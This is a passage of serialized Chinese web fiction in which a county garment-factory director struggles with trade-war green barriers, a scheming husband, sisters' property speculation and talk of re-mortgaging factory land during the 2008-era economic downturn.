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针对贸易战的学习会刚结束,赵**边擤鼻涕边对张东尧说:“我看罗璇笑得那么开心,她这是没生病?” “活蹦乱跳。”张东尧打着喷嚏,“她练体育多少年,健壮如牛。” 赵**吸着鼻子说:“还得是年轻人,抗压能力强。我啊,真是笑不出来啊!” 第207章 贸易壁垒&罗桑厂又要完蛋啦! “罗厂长,我可真是笑不出来。”赵明德边打喷嚏边说。 这下子,罗璇也笑不出来了:“我以为,您今天是带共青城的第二批外溢羽绒服订单需求带给我。” 赵明德叹了口气。 “第二批订单。”他明确地告诉罗璇,“罗桑县,恐怕拿不下来。” 啊,这是什么晴天霹雳。 罗璇蹙眉:“什么原因。” “咳咳咳,就是因为贸易战。”赵明德爆发出一阵惊天动地的咳嗽,好半天才缓过气来,“绿色贸易壁垒,卡咱们脖子啦!咳咳咳给我杯水,我上不来气。” 罗璇赶紧给赵明德倒了杯水。 她鼻子有点痒,仰头打了个喷嚏。 “完蛋。”她绝望地喃喃自语,“这场传染病,也轮到我了。” …… 别墅区里,因为所有人都在感冒,暖气开得极大。 郎峰把牌丢出去:“打什么贸易战!没事找事!” 王永昌把口罩戴得严严实实:“服装纺织涉及国计民生,欧美不想放任利润流到中国来,就没事找事,制定规则,就用各种贸易壁垒来抬高我们生产成本。” 赵明德直接说:“贸易战提高了对面料厂商的环保要求,罗桑县环保不达标!整个被拦在绿色贸易壁垒之外了!所以,后面的单子,罗桑县还真就拿不到!” 罗璇的牌被人吃了几张。 拿不到可不行!这不仅仅是钱,还是罗桑县的士气,和她屁股底下这把厂长椅子—— “绿色贸易壁垒是什么?”新来的荷官对着赵明德撒娇。 赵明德打比方。 “森林里有两群小动物,一群小鹰,一群小兔。小鹰和小兔都想把羽绒服卖给对方。” “小兔的东西多,又便宜,小鹰纷纷购买。小鹰一看,不行,钱都被小兔赚走了。” “于是,小鹰对小兔说:你们想把东西卖给我,必须保护自然资源,保护自然环境,保护我们的健康。所以,我们小鹰制定了一些列标准、法规和认证制度,你们要来申请。申请当然要花钱啦!申请通过了,才可以卖给我们。” “那这不就是设置障碍,不想让小兔的东西进来嘛!”荷官说. “所以叫贸易壁垒。”罗璇说,“壁垒就是障碍和限制。当然了,还可以制定反倾销法案、加征关税……” 荷官愤慨:“我还以为小鹰当真是为了保护自然。” “嘴里喊的都是主义,心里想的都是生意。”王永昌凉凉地说,转头问赵明德,“罗桑县被拦在绿色贸易壁垒之外,具体怎么个情况?” 赵明德皱眉:“共青城的人告诉我,问题出在罗桑县污染上。这次羽绒服的一款外面料,对方要求有绿色环保认证,罗桑厂的绿色认证没通过,就没法用自己织的外面料。” 郎峰咳了声:“……这也不奇怪。罗桑河都臭多少年了。” 赵明德告诉罗璇:“罗厂长,你得好好想想这件事。罗桑厂不能用自己的面料,就只能用外面的面料。如果出去找供应商呢,现在大家都在做羽绒服,外面的面料供应商都涨价了。如果使用涨价面料,罗桑厂没钱赚。新劳动法颁布以后,最低人工价格上涨,刨去七七八八的成本,搞不好做一件要微亏。做呢,也不赚,不做呢,也不赚。做不做,都没得赚。” 王永昌也叹气:“就算你备料,备料也难。好多面料都上了国外的反倾销法案,不给你用。就算你用了现在可以用的面料,万一生产出来了,国外把你用的面料也给禁了,那你岂不是血亏!” 罗璇头大:“总结下来:我用罗桑厂自己的面料,绝对不行;我出去采购面料,极有可能不行。” 三个老男人边咳嗽边点头。 他顿了顿手:“我确实不想给阿郑割钱,但也不想真金白银地亏损。罗厂长,如果是这么个形式,我必须带着我的资金退出,还请您多担待。” 郎峰和王永昌没说话,自然也是这个意思。 罗璇想来想去:“也就是说,我既得想办法绕开绿色贸易壁垒,又得想办法绕开反倾销法案?” 这是什么新时代的既要又要? 赵明德反问:“你怎么绕?你没钱,拿什么备料?你备料,你就没钱。万一你备的料撞上国外反倾销法案,你还得多交一笔关税,钱从哪来?” 罗璇注视着手中的牌,沉默不语。 她一没钱,二……二也没钱。 这世界上,究竟有没有既要又要的办法? 一定有的。 但你得加钱。 可恶,罗桑厂没有钱啊! 罗璇也爆发出一阵惊天动地的咳嗽。 三个老男人交头接耳:“离她远点,病得不轻。” Evelyn端着宵夜走出来,绕着众人身后看了一圈牌,微笑着俯身贴在罗璇耳边: “罗厂长,加油啊,这把,你要输。” 第208章 你骗我,我骗你&空手套白狼 “绕开绿色贸易壁垒也很简单。”江明映举起酒杯,“新红星厂是通过环保认证的,直接把这批羽绒服订单放在新红星厂生产就好了。至于面料会不会撞上反倾销法案——撞上了也没办法,你想这个没用。” 罗璇向来身强体壮,三天后,感冒就好了。 于是新婚夫妻婚后第一次约会。 昏暗的光线下,江明映的脸也笼罩在阴影中。葡萄酒是血一样的红色。 只是面料被隔在绿色贸易壁垒之外,凭什么把全衣订单放在新红星厂做?她现在可是罗桑厂厂长,拿着罗桑厂股份的。 罗桑厂兼并新红星厂以后,江明映往新红星厂里插满了自己人。 当然,罗桑厂也被各路人马插满了自己人。 罗璇皱眉。 她把酒杯轻轻移到一边:“罗桑厂和新红星厂,两套班子两套账。把订单放到新红星厂去做,收益没法放在罗桑厂头上。” 江明映微笑。他的牙齿很白。 “那就把收益放在罗桑一期。”他很有耐心地说,“又有什么区别?” 江明映口中的“罗桑一期”,指的是新红星厂。 当然有区别了。两套班子两套账,单子不给罗桑厂,收益怎么算到罗桑厂头上?别说给工人发钱,她自己的股份都分不到钱。 罗璇说:“环保认证卡的只是面料而已。可以把面料生产放在新红星厂,但整个生产线还要放在罗桑厂。” “何必多此一举。”江明映说,“你考虑到新红星厂到罗桑厂的距离没有?其中耗费的物流成本,以及周转时长所带来的损耗,也要算进去。” 罗璇反驳:“制衣是一套完整的工艺流程,新红星厂的工人都是新招的,缺乏有经验的老工人,我不认为新红星厂做出来的羽绒服能通过对方的质量认证。我们还是会丢掉这个单子。” “那更简单。”江明映说,“把罗桑厂的工人调到罗桑一期就好了。工人留下来,自然就在罗桑一期领钱。” “我作为罗桑厂厂长,我拉的单子,我创设的利润,最后都没落在罗桑厂头上?”罗璇抬高声音,“你的意思是,那些经验丰富的老工人,就这么转去新红星厂了?那罗桑厂怎么办?” 罗桑厂,怎么办? 江明映说:“你是罗桑厂厂长,这是你该考虑的问题。” 罗璇看着江明映:“如果我不答应呢?” 江明映说:“我说过,我是个商人。我只会在有利润的方向投钱。罗桑厂过不了绿色贸易壁垒,你觉得罗桑厂值得我注资吗?我也说过,我要搞集团化运营,所以我的钱要投到罗桑一期里,我早就告诉过你的。” 罗璇浑身发抖:“江明映,你答应拿出一个亿来注资,现在你告诉我,你一分钱都不往罗桑厂里放?” 江明映说:“罗璇,你的新红星厂欠了2000万高利贷,你不也没说?咱俩彼此彼此,你也不要装无辜。如今我不再追究你欠的这笔钱,你就当我已经给你个人注资2000万。” 仿佛一柄锤子砸在太阳穴,罗璇眼前一黑,金星乱冒:“江明映,你的意思是,新红星厂欠债的2000万,债主——是你?” 江明映很平淡地点点头。 这个结论一得出,罗璇心中霎时间透亮起来,很多事情都有了答案。 她想起,江明映多次往纺织村跑,更是明里暗里地削弱林国栋的能力,滋长自己的野心,眼睁睁看着自己做了红星厂厂长,在不断欠债的压力下,最终一步步兼并掉新红星厂。 她又想起Cythnia说的“不想得罪人”。 Cythnia那样骄傲的人,她怕谁,难道不是清清楚楚、明明白白的吗。 话一出口,罗璇似乎领悟了什么:“你想放弃罗桑厂。打从一开始,你就想放弃罗桑厂!打从一开始,你就瞄上了纺织村那块地,你要建厂,但你搞不定本地关系,所以你利用了我爸和王经理;结果我爸猝死了,王经理也死了,你又利用了我!难怪你痛快地给了我罗桑厂10%的股份,原来是一张空头支票!” “但你也当上了罗桑厂厂长。红星厂现在也落在你的手里。”江明映摊手,“冷静些。我认为,你得到的,远远超过你失去的。” “只有这些吗?”罗璇质问,“江明映,你想在我们罗桑县赚钱,但你根本不考虑其他人死活,对不对?那些工人的生活,那些供应商的欠款,你从来都没在乎过,对吗?” 江明映举起杯:“冷静些。” 罗璇吞回满肚子话。两人碰杯,江明映风度翩翩地照顾罗璇,而罗璇愤懑地将杯中酒一饮而尽。 这是两人的第一次约会。 江明映笑着说:“夫妻之间,应该坦诚相待,尤其是财务状况。罗璇,现在我们之间,财务基本透明了。” 罗璇深吸一口气:“是。” 两人一时间无话。 江明映说:“我是个商人,我想你很清楚。同时,你也是个商人。” “我当然是个商人。”罗璇说,“但商人不是无情无义的代名词。罗桑厂背后有多少员工、多少家庭,你至少留一部分利润给我们。你又何必把事情做绝。” 江明映轻轻叹息:“罗璇,到了这个时候,你还在想着和我讨价还价。你是个聪明人。但我们现在并不是共赢的关系。我打算速战速决,把罗桑厂的人转移到罗桑一期来,当然,你拉的新单子,我也一并笑纳了。” “那你和我结婚,又有什么意义?”罗璇反问,“如果我能把罗桑厂的利润做起来,我的10%的股份,收益也有你的一份。毕竟我们在婚姻中。” 江明映颔首:“没错,我们毕竟在婚姻中。所以,我把你的新红星厂做起来,收益也有你一份。你知不知道我的佣金有多高?分给你一半,远远高过你经营罗桑厂所得。所以,你又何必阻拦我?你应该支持我才对。把罗桑厂的内核转移到新红星厂去,对你个人而言,收益远远大于你持有罗桑厂的收益。” 罗璇目瞪口呆。 江明映提出的条件,真是丰厚得让人无法拒绝。他本就是个目标导向的人,方方面面都考虑得非常完善。 或许有人会忙不迭地答应。 但罗璇不会。 她自己管一个厂,那是上桌吃菜;把自己的厂子拱手让给江明映,指望江明映分一半财产给她,那叫成为桌上的一盘菜。 钱攥没攥在自己手里,这是同一回事吗?能一样吗? 当然不一样! 江明映举起酒杯:“敬我的新婚妻子。” 罗璇没喝。 她推心置腹地说:“江明映,你不懂中国县城政治。罗桑厂的政治成本、老牌企业的信用、人脉关系、地方关系,这是一笔隐形的财富。你和我结婚,为的不就是这个吗?纺织村那么远,远离政治中心,也没什么名气,时机完全不成熟,你觉得现在是把它抬成主角的好时候吗?” 江明映听得很耐心:“然后?” 罗璇说的干脆:“你操之过急,根本不可能做起来。” 江明映点了点头:“你说得有道理。”他笑了笑,“那我不急,我可以等。” 等? 罗璇很烦地把杯中酒喝干净。 绕了一圈,问题又回到原点。 罗桑厂的绿色贸易壁垒,江明映是完全不打算伸手帮忙;承诺的注资,也分币没有。 罗桑厂不还是没钱吗?! 可恶的资本家,空手套白狼! 第209章 罗琦炒房&击鼓传花 “他就是空手套白狼。”小妹说得很明白,“说是注资,结果一分钱没掏给你。” 天擦擦亮,罗璇一夜没睡,正坐在罗琦的客厅里。 外面还是黑的,客厅中央吊着一盏水晶灯,亮晶晶的光屑洒在小妹的脸上,给她的脸蒙上一层贵重的色彩。 老郑还在睡觉,小妹泡了热茶递给罗璇。 罗璇环顾客厅四周,问小妹:“看样子你经济状况不赖。” 小妹点头。 前阵子,张东尧拿了张规划图给她,告诉罗琦,新开发的产业园往工厂用地植入了工业旅游项目,利用”允许在不改变土地性质的前提下,适度发展与工业生产相关的三产服务业”的政策,做产业融合。 其实相当于打个“三产”的擦边球。 同样是金融危机,有的人破产,有的人却抓住了商机。 这片工业用地周围的住宅根本没人买,都觉得是工业用地,不可能有人气;叠加了经济危机,房价更是打了个骨折。 张东尧的本意是告诉罗琦,可以投资这里的房子。 可罗琦有自己的主意。 老郑破产了,但他的朋友资源依旧优质。 罗琦趁着这片住宅低价,组织这群优质客户进行团购房,并通过这些人搞定了银行贷款。 没过多久,正如张东尧的信息,产业园果然轰轰烈烈地干起了三产,大搞特搞产业融合。 眼看着人气就要旺起来,很快又有小道消息流出,说买房子的都是优质客户群体。 大众心想,有钱人都来炒这里的房子,这里的房子必然要涨,于是不明真相的群众蜂拥而至,也要买这里的房子。 房价自然上涨。 罗琦这次再和地产公司谈,就是替上一次团购房的协助银行出面,指定该楼盘的银行贷款,自己吃佣金;同时,又果断组织优质客户将房子脱手,转给炒房客,自己又吃一次佣金。 如此一鱼多吃,罗琦终于赚得盆满钵满,一次性还清了之前炒房欠下的贷款,还积累了银行资源和大批优质客户。 至于后来产业园搞三产,究竟能不能成——会不会烂尾——那就不干罗琦的事了。 毕竟,炒房的目的是脱手,不是炒成房东。 …… 罗璇听完整个惊心动魄的过程,天色渐亮。 卧室门微动,老郑推门出来。 罗琦头也没回。 反倒是老郑,走过来主动和罗璇打了招呼,又带着点讨好地问罗琦:“你和你姐姐,早上想吃什么?” 罗琦不客气地点菜。 罗璇看着苍老的老郑。他头发全白了,如今赋闲在家,和退休的老人没有任何不同。而罗琦——罗琦的脸还是很僵硬。很明显的手术痕迹。鼻子有一点歪。 但她非常年轻。还有无限可能。 “你觉得我漂亮吗。”小妹猜到了罗璇所想。 罗璇不知如何回答。 小妹扬声问老郑:“老郑,我漂亮吗。” 老郑说:“你当然漂亮。” 老郑招呼罗璇几句,换了衣服,乖觉地出门去买早餐。 罗琦对着罗璇笑:“不是西风压倒东风,就是东风压倒西风。” 罗璇欲言又止。 罗琦又说:“漂亮不漂亮,都是被别人用眼睛看、用嘴巴讲的。姐,只要我爬得足够高,哪个敢看我?那个敢讲我?我必然是漂亮的。” 罗璇笑,罗琦也笑,笑得东倒西歪。 她抹去眼角笑出的一点泪花:“待我功成名就,自有大儒替我辩经。” 罗璇没什么可说的。 她们虽然是姐妹,但她们各自有各自的人生。 更何况,她有什么可说的?她们姐妹三个因为什么而出生,又是因为什么而存在。这一切,或许不过是命运的轮回。 顿了顿,罗琦又说:“大姐二姐,你们两个还有股本在我这里,需要用钱就说一声。” “那点钱,杯水车薪。”罗璇把罗桑厂缺钱的事讲了,问罗琦,“幺儿,罗桑厂在广东清远还有一块地皮,你知不知道什么路子,能用这块地帮我抵些钱出来?我下个月的工资还得发呢!” 罗琦提醒她:“那块地皮,怕是早就被郑行长他们抵过了,你要搞搞清楚,上一代人留给你的,是资产,还是负债。你想回笼资金,除非你把地皮卖了,或者想办法运营起来。但这两种途径,短期内都看不到资金。” 罗璇苦闷:“幺儿,我看你搞房地产也是搞出名堂了,能不能来帮帮我?” “我才不要去。”罗琦直接拒绝,“罗桑厂那趟浑水,跟你有什么关系,你就非得蹚?制造业的好时候过去啦,罗桑厂破产算啦!”她站起身,指着头顶气派的水晶灯,“你不如出来帮我,赚的钱都是自己的,何必替罗桑厂白奉献。” 罗璇说:“我毕竟在罗桑县长大的,对罗桑县有感情。” 罗琦摆手:“那也犯不上把自己绑进去啊。姐,去年的金融危机,如今才正是刚刚开始,制造业造不出来东西,没有新的产业支柱,问题得不到真正的解决,我们只能用通胀来抵消亏损。但这些都是泡沫,泡沫就是未来的债,最后怎么化债?指望不上实业,只能在土地上面做文章,只能买地卖地来消化泡沫。房地产这艘船,你上不上,都得上。” 罗璇不认同:“靠拉高地价,说来说去,还是没造出实实在在的东西,还是泡沫。那这08年金融危机,只是掩盖在泡沫底下,问题没解决啊。” “问题没解决也能活。”罗琦说,“经济周期螺旋重复,下次金融危机要等到2016年、2018年。如果中间有新兴产业支撑,那就能拖到2024年、2025年、2026年。十几年后的事!” “经济周期螺旋重复,那十几年后,问题不还是会出现吗?” “一代人有一代人的使命,那是下一代人该考虑的问题。” 罗璇啼笑皆非:“相信后人的智慧,或者掏空后人的钱包。我这半夜睡不着觉,打开经济史书,书上歪歪斜斜写满四个大字:击鼓传花!” 罗琦噗嗤笑了:“没错,所以罗桑厂现在的问题,也就是前几代人堆积下来的问题,现在爆发在我们这代人手里。击鼓传花,这花落在你手里,我们都不接,就你傻,就你接。” 第210章 罗璇搞钱记&撤县建区 罗璇开始耍无赖:“幺儿,你这小嘴淬了毒。我都这样了,总归讹上你,你我亲姐妹,你反正不能见死不救!” 罗琦叹了口气:“这你得问大姐。” 于是罗璇坐在小妹的客厅里,一个电话打给罗珏。 大姐回答得倒是流利:“你们罗桑厂在清远的地皮,多半早就抵押过了。不如你想办法,再抵押一次。” 小妹立刻否认:“大姐,重复抵押,你这个想法非常危险,你这是要二姐走上不归路啊!” 大姐反问:“不危险,哪有钱赚?” 小妹住了嘴。 罗珏的声音倒是很冷静:“那块土地已经被前人榨干了,你还想再刮些钱出来,我就只能给你们这个办法。逼你走上不归路的不是我,是你们上一代人。” 罗璇犹豫地问:“这算诈骗吗。” 罗珏说:“重复抵押,只要你总体抵押金额在抵押财产的价值范围内,就不构成诈骗。但是,如果你超过抵押财产的价值,又不告诉债权人,那就构成诈骗了。” 罗璇虚心求教:“意思是,打一个打政策法规的擦边球?” “问题的关键,不是打不打擦边球。”大姐说,“问题关键是,土地要想办法涨价。抵押财产涨价了,才能化你们罗桑厂的债。罗桑厂这块地,涨也得涨,不涨也得涨。只要土地涨价了,一切都好办,合法合规。” 罗璇和罗琦面面相觑。还是罗璇犹犹豫豫地说:“这相当于击鼓传花,把花又丢给别人,这么干,不太好吧。” 小妹说:“击鼓传花本身就是传来传去的游戏,经济就是买卖,买卖就是传来传去。落你手里了,你不传给别人,你上哪弄钱去?” 罗璇“哦”了声,下定决心。 罗珏点拨她:“你别光用地块抵押,你让张东尧帮你做个复杂的土地开发规划项目书,把评估拉高,叠加地块涨价,再抵出来两千万不成问题。你让江明映介绍银行的人给你,帮你弄贷款。” …… 罗璇正准备约江明映,谁料江明映主动约了她:“我今天回国,落地上海,我们在上海见一面?” 罗璇看了看时间:“你从冰岛回来了?这次回国待几天?” “半天。明天下午回美国。” 罗璇感慨:“我每次联系你,都得先问你在哪个国家。” 江明映也自嘲:“我自己都不知道。我最近一直在做空中飞人,昼夜颠倒。每天睁开眼,都要先问问空姐,我在哪。” 两人在上海见了一面。 罗璇把贷款的事给江明映讲了。 江明映似笑非笑地看着她:“你这是骗完我,打算去骗银行的钱了?”顿了顿,他又说:“倒也算不上骗,金融危机当前,国内地价必然要涨。” 罗璇举着酒杯自嘲:“我这是来你这讨饭不成,只好换个地方讨饭。” 江明映道:“你不如先问问我,为什么急着约你见面。” 罗璇作倾听状。 江明映直接说,“国内的政策有新动向。我这段时间顾不上国内的事,你要多留心,去找人打听。” 罗璇放下酒杯。 江明映说:“早先省里想促进罗桑厂被之河服装集团兼并,目的是全省一盘棋。兼并完成后,罗桑厂和之河服装集团下属的其他工厂,整个都要迁到别的地方去。” “整体迁走的凤已经吹了多少年,我小时候就在听。不用理会。” 江明映没理会她,继续说下去:“当然,这只是初步规划。就在这个节骨眼上,罗桑厂出了事,如今烂账一团,之河服装集团不愿意接手。所以是你我在接手。但未来,产业合并转移,已经是大势所趋。” 罗璇摆手:“理论是一回事,实际操作又是另外一回事。” “但我这里还有另一个来自上面的消息。”江明映说:“据路透社传闻——我只是说传闻——罗桑县有可能并入之河市,撤县建区。” 罗璇张大嘴,“啊”了声,怔了很久。 “全省一盘棋,全国一盘棋。这次的经济危机,势必影响到顶端政策规划。”江明映说,“所以,如果罗桑县的城市定位发生变化,传统制造业自然没法匹配都市经济。罗桑河都臭成什么样了!” 罗璇还是第一次听到省里对城市定位的转向,闻言,愣了一会:“如果这样,未来这服装纺织产业集群,无论如何都得整个从罗桑县搬走了?” 江明映叹了口气,靠在椅背上苦笑。 他这段时间昼夜颠倒,很是疲惫,眼下有两轮淡淡的青影。 罗璇也长叹:“什么都逃不脱政策影响。” 江明映转动手里的酒杯,直言:“事到如今,你何必非得执着于罗桑厂这个壳子?我知道你想办法要绕过绿色贸易壁垒,你不如把罗桑厂的壳子抛了,直接搬到纺织村去,那边环境好,各种认证也处理妥当。反正罗桑厂你早晚要卸任的,不如实在点,趁着还坐在这个位置上,多给自己赚点钱,能赚多少是多少。至于底下人怎样——民生幸福是政府而非企业的责任——那是政府该考虑的问题,不该你考虑。” 罗璇摇头:“真正的经济危机不是大萧条,而是人们对市场失去希望。罗桑厂是罗桑县的支柱,如果罗桑县还想立得住,就必须先把罗桑厂做起来。罗桑县必须重新找到希望。” “但万小满已经死了。” “但娇姐活了下来。” 两人安静了一会。 “死了也算解脱。” “总得活下去。” 两人同时出声后,又安静了一会。 罗璇又说:“你不能用美国那套理解中国。全国一盘棋,全省一盘棋,谁说一个县就不是一盘棋?你莫要太小看一个县的政治。即使小小的一个县,经济也是牵一发而动全身的。罗桑厂一旦破产,你猜罗桑县会不会陷入大萧条?罗桑县一旦陷入大萧条,你觉得纺织村能置身事外?” 江明映在思考。 这顿饭吃得默默无言,两个人都没什么心情。 第211章 给钱就是好男人&要改革,会阵痛,有牺牲 主菜撤掉,江明映把刀叉放下。 他靠在椅背上,慢慢喝酒:“计划赶不上变化快,我说这话的目的是,在当前的困境下,我们并非完全敌对的关系。” 江明映的话,罗璇不信。这个人骨子里流淌着资本主义的血,眼睛里除了量本利看不见其他。 罗桑厂在他眼中,不过是一架输血机。 罗璇小心地想着措辞,只听江明映继续说:“更何况,你还是我妻子,那么我可以帮罗桑厂注点资,权当看你的面子。” 给钱啊? …… 他要给钱! 眼前这位可爱英俊又帅气的男士要给钱啊! 谁说坏事不能变成好事,福祸相依啊! 罗璇这下子激动起来。反正她就是讨饭的,倒也没必要掩饰,刚想理直气壮地提要求,蓦地想起自己是在求人,于是又急忙露出一个笑容: “那你给我五千万。” 江明映的眼睛在她脸上停留了半秒钟。 他抱着手,把酒杯一推:“就按你说的,我找银行的关系,帮你搞定两千万贷款。” 贷款? 贷款,不还是要她去还吗? 罗璇一秒钟收了笑,拉长面孔把杯中酒饮净。 江明映提醒她:“你注意一下自己的态度。” 罗璇忿忿:“贷款,不还得我们罗桑厂自己还吗。” 江明映说:“你可以不要。” 呵,狗男人—— 罗璇的脸立刻从愤愤不平扭转成一个笑容,速度之快,叹为观止:“谁说我不要。” 江明映实在没忍住,短促地咧嘴一下,罗璇几乎以为自己眼花,定睛一看,果然是自己眼花。 江明映气定神闲地喝着酒,和他焊死在脸上的虚伪笑容地久天长。 呵,狗男人! 罗璇咬牙切齿:“那我可代表罗桑厂谢谢您了。” 江明映坦然:“却之不恭。” 他看了眼时间,站起身,拎起西装:“行了,我得走了。我明天下午飞美国,你要联系我,看着点时间,如果我没回复——算了,我落地美国跟你说一声。” 罗璇“嗯”了声,提醒他:“你飞别处也最好和我讲一声。” 江明映挑眉看她:“你是让我报备行程?” 他收了笑容,带着点认真,定定地看着罗璇。 罗璇说:“我找你肯定是替罗桑厂要钱的,你不回复,我都不知道你是没看见,还是不想给钱。” 江明映拉长声音:“哦——” 他煞有介事地思索片刻,点头称赞:“有道理。那我以后什么时间在飞机上,落地哪里,都会亲口告诉你。” 清风明月,江明映微笑地看着他。他向来知道自己怎么笑更英俊。 罗璇有点恍惚。 只听江明映说:“……这样,如果我不回复,你就能明确地知道,我就是不想给钱,没别的理由。” 一瞬间,罗璇只听得见“不给钱”三个字。 罗璇竖眉大骂:“你不费一兵一卒,入主罗桑厂,分币不出,主打贷款,没见过你这么抠的小气鬼!” 江明映的完美微笑没绷住,破天荒地“噗嗤”笑出声,旋即恢复往日的虚伪笑容。 罗璇看着眼睛疼:“去,去,不给钱别来见我。” 江明映说:“唉,我们之间的感情也不只建立在钱上——” 罗璇冷笑:“你平均两天飞一个国家,一辈子很快就过去了,我们也可以地久天长。” 江明映又噗嗤笑了,心情很好地离开,第二天果然依言向罗璇报备行程,第三天、第四天也是如此,此后也不间断地持续下去。 罗璇打开手机收件箱,宛如打开世界国家地理,一眼扫下去,全是地名。 只是,罗璇想及此事,每想一次,都得骂江明映一声。 分币不花,给了笔贷款就算注资,又是空手套白狼嘛。 …… “美国打贸易战,和空手套白狼有什么区别?” “美国发达得早,率先掌握了产业链中关键环节的稀缺资源,成为领导企业,控制整条产业链,自己当裁判自己当球员,自己拿走利润大头。” “现在美国跳出来打贸易战,不就是想把利润大头揣进自己腰包,把金融危机的亏空平摊给全世界吗?” 地下的人面面相觑。会场里一片安静。 罗桑县组织了《美国关税解读和展望》课程,要求商会和纺织协会的大小工厂主都来听,还要考核出勤人数。讲师在台上慷慨激昂,下面满脸茫然。 讲师试图调动大家情绪,发现大家毫无情绪。 他恨铁不成钢: “你们真是我带过最差的一届!” 下面的小老板小工厂主乱纷纷地说:“老师,赵书记说这事跟我们有关,我们才来听,现在你快快告诉我,哪个赚钱嘛!” 讲师瞪着眼睛好半天,痛心疾首:“知其然,才能知其所以然,你们做服装外贸,至少要知道这条全球产业链……” “那些我听不懂,你就告诉我们,哪个赚钱多嘛!” 讲师认命地叹了口气。 “核心技术、品牌、专利、商标、渠道。”讲师说,“这些才是高附加值的资源。” 会场众人失望:“这些我们都没有。” …… “核心技术、品牌、专利、商标、渠道,这些高附加值的资源我们都没有。”张东尧说,“而我们只能成为全球产业链的打工者,牺牲我们的资源环境,赚取微薄的加工费。” 赵书记的会客室里。 罗璇从江明映口中听见罗桑厂未来要整个搬走的传闻,立刻找了时间,和县通气。 她越听,心越凉。 赵书记静静地说:“所以,罗桑厂未来确实要搬的。这次贸易战让上面下定了决心,不能被人卡脖子,产业升级刻不容缓。” 罗璇急了:“所以,这传闻是真的?罗桑县未来要改县为区,罗桑厂要整体迁走?” 赵书记没表态。 张东尧说:“未来的规划,要等落地才知道。但产业合并、升级转型,一定是大势所趋。” 罗璇更急了:“那我们县怎么办啊?” 赵书记站起身,看向窗外。窗外是无穷无尽的罗桑河。 老人缓缓说:“要改革。会阵痛。有牺牲。” 罗璇脱口而出:“一代人有一代人的使命,难道注定有一代人是石头,要被摸着过河?”她忍了又忍,还是忍不住质问,“罗桑县是服装产业集群,是世界运动服之都,把工厂全都迁走了,然后做什么?然后怎么办?我理解整体一盘棋,我也认可宏大叙事,但中间的日子,好日子坏日子阵痛的日子,也得靠我们自己一天一天熬下去啊!” 赵书记什么都没说,端茶送客。 第212章 刘易斯拐点&关系王发了点小财 张东尧把罗璇扯到外面,压低声音:“你都在说什么胡话!为了以后的事情,你现在就没轻没重的!成熟敏感、谨言慎行,你忘了?” 罗璇刚完就怂,后悔得要命:“我刚刚也是急了。前阵子罗桑厂那摊动乱,死的全是身边人,我有心理阴影,总是怕再来一轮。” 张东尧面露恻然:“我理解你的心情。只不过,罗桑厂这次的乱子是因为‘硬着陆’,日后产业搬迁,一定是逐步推进的‘软着陆’。” “有缓冲和没缓冲的区别呗。一个是爆锤,一个是缓慢锤。但反正都得被锤。” “闭嘴吧你!——算了,我照实说,无论搬不搬,咱们县搞服装纺织,都得被锤,因为刘易斯拐点来了。” “刘什么?” “刘易斯!” “什么易斯?” “刘易斯!” “刘什么斯?” “刘易斯!!!——刘易斯拐点!你这绝望的文盲!” “啊?”罗璇挠头。 …… “啊!”听讲的小工厂主额头磕在桌沿。 讲师在台上大讲特讲美国贸易战,下面横七竖八睡倒一片。小工厂主擦了把口水,困得直翻白眼,面露痛苦。 “刘易斯拐点!”讲师恨铁不成钢地敲黑板,“这里是重点——” 小工厂主的手机振动起来。 他急忙接了,听完,捂嘴小声问:“啥?厂里的版师非得加钱?说工资太低了?” 讲师在台上说:“……诺贝尔奖得主、经济学家刘易斯曾经提出一个模型。发展中国家在刚开始发展的时候,因为要利用低工资和低成本的优势融入世界市场,所以要保持一个低工资的水平,并尽可能多地供给劳动力。” 小工厂主激动地说:“不加——什么?不加他就走?什么?他要举报我们违反最低工资规定——最低工资涨了?”他倒吸一口凉气,“多少钱?” 片刻后,他肉痛:“罢罢,涨,给他涨。” 讲师继续说:“……但发展到一定阶段以后,劳动力不足,只能通过提高工资才能增加劳动力供给,此时,低成本优势就消失了。” 小工厂主挂掉电话,哀叹一声:“世道变了啊!” 讲师说:“……这个时刻,就是刘易斯拐点。” 顿了顿,讲师总结:“我们此时此刻,正站在刘易斯拐点上。前不见古人,后不见来者。念天地之悠悠,独怆然而涕下。” 台下众人睡觉的睡觉,发呆的发呆。 小工厂主探头问隔壁:“哎,晚上去你那,喝酒,割两斤猪头肉?” 隔壁一下精神了:“来啊,我这卤着毛豆呢。” 讲师敲敲黑板,激昂道:“各位,此时此刻,我们正在——见!证!历!史!” 小工厂主拍手道:“见证啥历史啊,历史跟咱们没关系,不如去喝酒,再割两斤猪头肉。” 讲师还在说什么,咣咣咣咣,忽然有人的手机铃声响起来。 咣咣咣咣。 “这不是罗厂长的手机铃声吗?你也用上了?叫啥来着?” “敲门!” “对,敲门!” 咣咣咣咣。 “滚,你们这群文盲——这叫命运!” “我听这力道,不是命运在敲门,而是命运在砸门啊!” “命运,破门而入。” “管它命运敲门还是砸门,它入室抢劫,咱们挡不住!想想老万他们一家子,嗨!人活着,是为了啥啊?就是为了晚上去喝酒再割两斤猪头肉!” …… “人活着啊就是一天天过,什么都不为。”关系王坐在锅前,“卤蛋卤蛋香喷喷的卤蛋。” “人活着就是为了吃卤蛋吃香喷喷的卤蛋—— 肚子吃的挺饱, 每天睡得挺好, 太阳晒着后背, 真他娘的美妙。” 关系王诗兴大发,自吟自赞:“好诗好诗。” 罗璇蹲在关系王的摊子前,愁眉苦脸:“这一天天的,怎么好得起来?”她掰着手指头给关系王数,“人民币升值、美国次贷危机、紧接着开打贸易战;劳动力涨价,纺织品原材料涨价,结果衣服售价反而内卷得越来越低,买啥都贵,挣得越来越少;如今国家宏观政策又来调控……” 关系王夹了个卤蛋给她,罗璇顺手剥了塞嘴里。关系王伸手:“给钱。” 罗璇大惊失色:“咱俩关系这么好,你跟我还收钱?” “咱们关系这么好,收你1000%的‘朋友税’。” “你也打贸易战?” “为了赚钱,贸易战该打就打。”关系王点了点身边“卤蛋1元”的牌子,“你给我10块。” “呸,你以为你还是从前的关系王,现在的你就是个卤蛋王,你不配,我反向收你20%的‘朋友税’,给你8毛。” 关系王气了个半死,用大勺咣咣敲锅沿:“我没点关系,我没点脑子,我能坐在罗桑厂正门口报刊亭——的下面,支摊子?” 罗璇想想也是。 “世道变啦。”关系王用勺子把锅里的卤蛋一个个摆正,“我从罗桑县婆罗门变成臭狗屎,你看我抱怨过没有?抱怨有什么用?我开心也是一天,我不开心也是一天,我不得想办法过下去?” 罗璇重新打量关系王:“你是怎么拿下这块风水宝地的?” 